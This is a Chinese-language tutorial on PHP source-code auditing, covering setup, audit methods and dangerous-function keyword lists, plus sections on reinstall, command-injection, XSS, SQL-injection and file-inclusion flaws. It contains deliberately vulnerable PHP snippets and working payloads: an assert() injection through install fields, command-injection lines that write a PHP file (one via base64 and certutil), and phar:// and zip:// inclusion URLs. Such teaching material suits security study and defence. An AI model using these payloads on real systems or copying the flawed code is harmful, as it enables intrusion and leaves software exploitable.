跳到主要内容

代码审计

代码审计环境搭建

准备编辑器和phpstudy+源代码审计工具(Seay代码审计系统)

代码审计流程

获取源码方法

  • CMS官网下载
  • 开源cms通过github | gitee下载
  • 源码之家
  • 扫网站备份文件(目标网站不存在则利用文件特征、前端代码特征组合空间搜索引擎批量获取有该特征的网站)
  • 搜索源码截图中特征代码(github)
  • 某宝、某鱼

安装网站源码

利用phpstudy安装源码,开始访问了解网站大体结构

掌握网站基本信息

把握大局,掌握网站结构信息以及相关配置。

  1. 查看网站结构:浏览源码文件夹,了解该程序的大致目录
  2. 查找程序入口:index.php、admin.php文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构、运行流程、包含那些配置文件,包含哪些过滤文件以及包含那些安全过滤文件,了解程序的业务逻辑。
  3. 寻找配置文:一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。首先查看数据库编码,如果是gbk则可能存在宽字节注入。如果变量的值用双引号,则可能存在双引号解析代码执行的问题。
  4. 过滤功能:通过公共函数文件和安全过滤文件等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在被过滤的位置,如何过滤的,能否绕过过滤的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslasher()处理?

代码审计方法

通读代码

通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成干上万行,通读代码效率过于低下。但是该方法也是一种必要的方法。了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。

1.查看应用文件结构→2.查看关键文件代码→3.查看配置文件→4.读首页文件→5.根据入口文件,对各个功能进行审计

  • 查看应用文件结构
  • 查看关键文件代码
  • 查看相关配置文件
  • 通读入口文件,根据入口文件,对各个功能进行审计

敏感函数参数回溯

根据敏感函数来逆向追踪参数的传递过程,是目前使用最多的一种方式,因为大多数漏洞是由于函数的使用不当造成的。只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。

优缺点:

优点:只需搜索相应敏感关键字,即可快速挖掘想要的漏洞,可定向挖掘,高效、高质量

缺点:由于没有通读代码,对程序整体架构了解不够深入,在挖掘漏洞时定位利用会花点时间,另外对逻辑漏洞挖掘覆盖不到。

使用方法:

Seay源代码审计软件,主要是利用正则匹配一些高危函数、关键函数以及敏感关键字。然后,就可以分析判断敏感函数的上下文,追踪参数源头。尝试控制可控的参数变量。

关键字查找:

  • SQL注入漏洞:跟数据库交互的任何位置select|update|insert|delete
  • XSS漏洞:输入未过滤直接输出到前端也页面echolprint|print_rlprintf|die|exit|var_dump
  • 文件上传move_uploaded_file
  • 文件包含include|include_once|require|require_once
  • 代码执行eval|assert|preg_replace|array_map|array_filter|call_user_func|call_user_func_array
  • 命令执行system | passthru | exec | shell _ exec | popen | 反引号
  • XXE(XML外部实体注入):simplexml_load_string|simplexml_import_dom|simplexml_load_file
  • SSRF(服务端请求伪造):

定向功能分析法

该方法主要是根据程序的业务逻辑进行审计的。首先是用浏览器逐个访问浏览,看看这套程序有哪些功能。根据相关功能,大概检测可能存在的漏洞。

常见功能漏洞:

​ 程序初始安装、登陆认证、数据库备份恢复、站点信息泄漏、找回密码、文件上传、验证码、文件管理

覆盖/重复安装漏洞审计

常见cms重装漏洞

  1. 无验证功能,任意重装覆盖
  2. $_GET['step']跳过限制步骤
  3. 变量覆盖导致重装
  4. 判断lock后跳转无exit
  5. 解析install.php.bak漏洞
  6. 其他特定功能绕过漏洞(满足可能的条件)

例如:install.php

if(file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
header("Location:../index.php");
//判断/sys/install.lock是否存在后直接跳转../index.php后未退出,导致重装漏洞。
//正常应使用exit();
}
require_once'../header.php';

image-20221018184127667

例如:payload

dbhost=localhost&dbuser=root&dbpass=root&dbname=abced#";assert($_REQUEST[1]);
//dbhost=192.168.172.130&dbuser=root&dbpass=root&dbname=abced#";assert($_REQUEST[1]);
//dbhost=192.168.172.130&dbuser=root&dbpass=root&dbname=abced--+";assert($_REQUEST[1]);//

命令执行漏洞审计

PHP命令注入则是由于Web应用程序对用户提交的数据过滤不严格,导致攻击者可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等

相关函数

system()、exec()、passthru()、shell_exec()、popen()、proc_open()、pcntl_exec()、反引号

这些函数可以分为3类:

  • 第一类(常见):system()、exec()、shell_exec()、passthru() : 可以直接传入命令执行并返回结果
  • 第二类:popen()、proc_open() :使用这类函数传入命令时,命令会执行,但不会返回执行结果
  • 第三类:pcntl_exec() :需要开启pcntl扩展

源码例如:ping.php

<?php
if( isset( $_POST[ 'submit' ] ) ) { //通过isset函数判断是否为POST提交过来的值
$target = $_POST[ 'target' ]; //将POST过来的值传递给target变量,但是没有经过任何的过滤
if (stristr(php_uname(‘s’), ‘Windows NT’)) { //判断是不是windows系统
$cmd = 'ping ' . $target; //是windows系统,进行进行ping操作
} else {
$cmd = 'ping -c 3 ' . $target; //不是windows系统 进行ping –c 3 操作
}
$res = shell_exec($cmd); } ?>//最后使用shell_exec执行cmd

payload(windows):

1&echo ^<?=phpinfo();?>^ > ../phpinfo.php
1&echo PD89cGhwaW5mbygpOz8+ > 1.txt & certutil -decode ../1.txt ../123.php

XSS漏洞审计

XSS(跨站脚本攻击)漏洞原理

对用户输入的内容未进行过滤就直接输出到前端浏览器执行。导致的前端is代码执行。

XSS漏洞相关函数

输出函数(echo、print、pintff、var_dump、die、exit、print_r

漏洞类型

反射型XSS:非持久化,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码

存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方

DOM型XSS:dom文档对象模型的一种漏洞

审计方式

通过源代码审计工具自动审计,定位存在xss漏洞的文件进行审计。

例如search.php存在反射型XSS

if(!empty($_GET['search'])){
$query="SELECT*FROM comment WHERE comment_text LIKE'%{S_GET['search']}%'";
$data=mysql_query(Squery,Sconn);
?>
<div class="bs-example table-responsive">
<?php echo'The result for ['.$_GET['search'].'] is:'?>

漏洞修复

  1. 在输入输出的位置添加过滤函数htmlspecialchars,该函数对双引号<>以及一些符号进行html实体化编码
  2. 在输入的内容时对输出长度进行限制
  3. 验证针对不同功能处限制输入的内容,比如ping.php只允许输入IP地址

SQL注入漏洞审计

漏洞原理

未对用户输入的内容进行过滤就直接带入数据库执行,导致的任意sq[语句执行漏洞,即为sql注入漏洞。

两个关键条件:用户能控制输入内容,输入的内容被带入到数据库执行

漏洞类型

联合注入,报错注入,布尔盲注,时间盲注,header头注入(ua,cookie,referer,xff,client-ip),宽字节(gbk %81-%fe),二次编码注入,二次注入,base64注入,堆叠注入(mysqli_multi_query

审计思路

  1. 观察SQL语句的拼接情况,是否对用户的输入进行处理。
  2. 找数据库关键字:select from、mysql connect等只需要查找这些关键字,即可定向挖掘SQL注入漏洞

审计SQL注入漏洞建议正向审计,在拿到源码时先找到它的过滤注入函数,判断:

  • 如果没有过滤可以直接注入
  • 如果调用了addslashes()、mysql_real_escap_string函数,无法对字符型注入做绕过,可尝试注入字符型
  • 如果设置了set character_set_client=gbk开启了gbk连接,就会存在宽字节注入

文件包含漏洞审计

例如index.php存在文件包含漏洞,关键代码如下:

if (isset($_GET['module'])){
include($_GET['module'].'.inc');

组合文件上传及利用伪协议绕过后缀限制,示例payload:

http://192.168.172.160/index.php?module=phar://uploads/u_1666162420_1.jpg/1
http://192.168.172.160/index.php?module=zip://uploads/u_1666162420_1.jpg%231

任意文件读取漏洞审计

文件读取函数:file_get_contents(),highlight_file(),show_source(),fopen(),readfile(),fread(),fgletss(),fgets(),parse_ini_file(),show_source(),file()

文件删除函数:unlink()

文件写入函数:file_put_contents()、fwrite()、fputs()

文件创建函数:file_put_contents,fwrite(),fputs(),fputcsv(),fopen('w','a')

总结

  1. 不管是什么程序都要把握大局,了解它的大致结构,再决定是否通读全文。
  2. 根据定向功能分析法对每一项功能进行审计,可以根据网站的架构使用不同的方法进行分析,三者结合起来效果最佳。
  3. 最后,可以将敏感函数回溯,发现漏洞的起源地。